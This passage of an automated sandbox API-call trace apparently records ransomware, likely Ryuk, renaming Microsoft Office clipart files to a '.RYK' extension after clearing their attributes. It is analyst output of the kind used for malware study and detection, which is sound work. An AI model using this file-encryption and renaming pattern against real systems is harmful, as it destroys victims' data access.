	[0248.886] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02740g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740G.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02740g.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2765
	os_tid = 0x312c

	[0248.888] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740U.BMP", dwFileAttributes=0x80) returned 0
	[0248.888] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02740u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0248.888] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0248.889] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02740u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740U.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02740u.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2774
	os_tid = 0x3154

	[0248.890] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742G.GIF", dwFileAttributes=0x80) returned 0
	[0248.890] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02742g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0248.890] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0248.890] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02742g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742G.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02742g.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2775
	os_tid = 0x3158

	[0248.891] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742U.BMP", dwFileAttributes=0x80) returned 0
	[0248.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02742u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0248.891] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0248.892] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02742u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742U.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02742u.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2776
	os_tid = 0x315c

	[0248.893] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02743G.GIF", dwFileAttributes=0x80) returned 0
	[0248.893] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02743G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02743g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0248.893] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0248.893] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02743G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02743g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02743G.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02743g.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2777
	os_tid = 0x3160

	[0248.894] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746G.GIF", dwFileAttributes=0x80) returned 0
	[0248.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02746g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0248.894] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0248.895] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02746g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746G.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02746g.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2778
	os_tid = 0x3164

	[0248.896] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746U.BMP", dwFileAttributes=0x80) returned 0
	[0249.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02746u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.478] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.478] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02746u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746U.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02746u.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2779
	os_tid = 0x3168

	[0248.897] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748G.GIF", dwFileAttributes=0x80) returned 0
	[0249.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02748g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.477] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.477] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02748g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748G.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02748g.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2780
	os_tid = 0x316c

	[0248.898] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748U.BMP", dwFileAttributes=0x80) returned 0
	[0248.898] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02748u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0248.899] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0248.899] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02748u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748U.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02748u.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2781
	os_tid = 0x3170

	[0248.900] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749G.GIF", dwFileAttributes=0x80) returned 0
	[0248.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02749g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0248.900] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0248.900] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02749g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749G.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02749g.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2782
	os_tid = 0x3174

	[0248.901] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749U.BMP", dwFileAttributes=0x80) returned 0
	[0249.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02749u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.476] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.476] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02749u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749U.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02749u.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2783
	os_tid = 0x3178

	[0248.902] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750G.GIF", dwFileAttributes=0x80) returned 0
	[0249.195] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02750g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.475] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.475] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02750g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750G.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02750g.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2784
	os_tid = 0x317c

	[0248.903] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750U.BMP", dwFileAttributes=0x80) returned 0
	[0249.195] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02750u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.474] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.474] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02750u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750U.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02750u.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2785
	os_tid = 0x3180

	[0248.904] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752G.GIF", dwFileAttributes=0x80) returned 0
	[0249.195] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02752g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.473] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.473] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02752g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752G.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02752g.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2786
	os_tid = 0x3184

	[0248.905] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752U.BMP", dwFileAttributes=0x80) returned 0
	[0249.196] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02752u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.196] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.196] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02752u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752U.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02752u.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2787
	os_tid = 0x3188

	[0249.197] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02753U.BMP", dwFileAttributes=0x80) returned 0
	[0249.491] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02753U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02753u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.784] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.784] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02753U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02753u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02753U.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02753u.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2799
	os_tid = 0x31b8

	[0249.198] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02754U.BMP", dwFileAttributes=0x80) returned 0
	[0249.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02754U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02754u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0250.004] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0250.004] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02754U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02754u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02754U.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02754u.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2800
	os_tid = 0x31bc

	[0249.199] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02755U.BMP", dwFileAttributes=0x80) returned 0
	[0249.199] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02755U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02755u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.199] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.199] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02755U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02755u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02755U.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02755u.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2801
	os_tid = 0x31c0

	[0249.200] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02756U.BMP", dwFileAttributes=0x80) returned 0
	[0249.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02756U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02756u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0250.005] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0250.005] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02756U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02756u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02756U.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02756u.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2802
	os_tid = 0x31c4

	[0249.201] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02757U.BMP", dwFileAttributes=0x80) returned 0
	[0249.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02757U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02757u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0250.006] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0250.006] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02757U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02757u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02757U.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02757u.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2803
	os_tid = 0x31c8

	[0249.202] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02758U.BMP", dwFileAttributes=0x80) returned 0
	[0249.493] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02758U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02758u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0250.007] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0250.008] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02758U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02758u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02758U.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02758u.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2804
	os_tid = 0x31cc

	[0249.203] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02759J.JPG", dwFileAttributes=0x80) returned 0
	[0249.493] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02759J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02759j.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0250.009] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0250.009] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02759J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02759j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02759J.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02759j.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2805
	os_tid = 0x31d0

	[0249.204] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02810J.JPG", dwFileAttributes=0x80) returned 0
	[0249.493] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02810J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02810j.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0250.010] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0250.010] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02810J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02810j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02810J.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02810j.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2806
	os_tid = 0x31d4

	[0249.205] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02829J.JPG", dwFileAttributes=0x80) returned 0
	[0249.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02829J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02829j.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0250.011] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0250.011] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02829J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02829j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02829J.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02829j.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2807
	os_tid = 0x31d8

	[0249.206] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02845G.GIF", dwFileAttributes=0x80) returned 0
	[0249.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02845G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02845g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0250.012] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0250.012] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02845G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02845g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02845G.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02845g.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2808
	os_tid = 0x31dc

	[0249.207] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02897J.JPG", dwFileAttributes=0x80) returned 0
	[0249.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02897J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02897j.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0250.014] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0250.014] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02897J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02897j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02897J.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02897j.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2809
	os_tid = 0x31e0

	[0249.208] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03011U.BMP", dwFileAttributes=0x80) returned 0
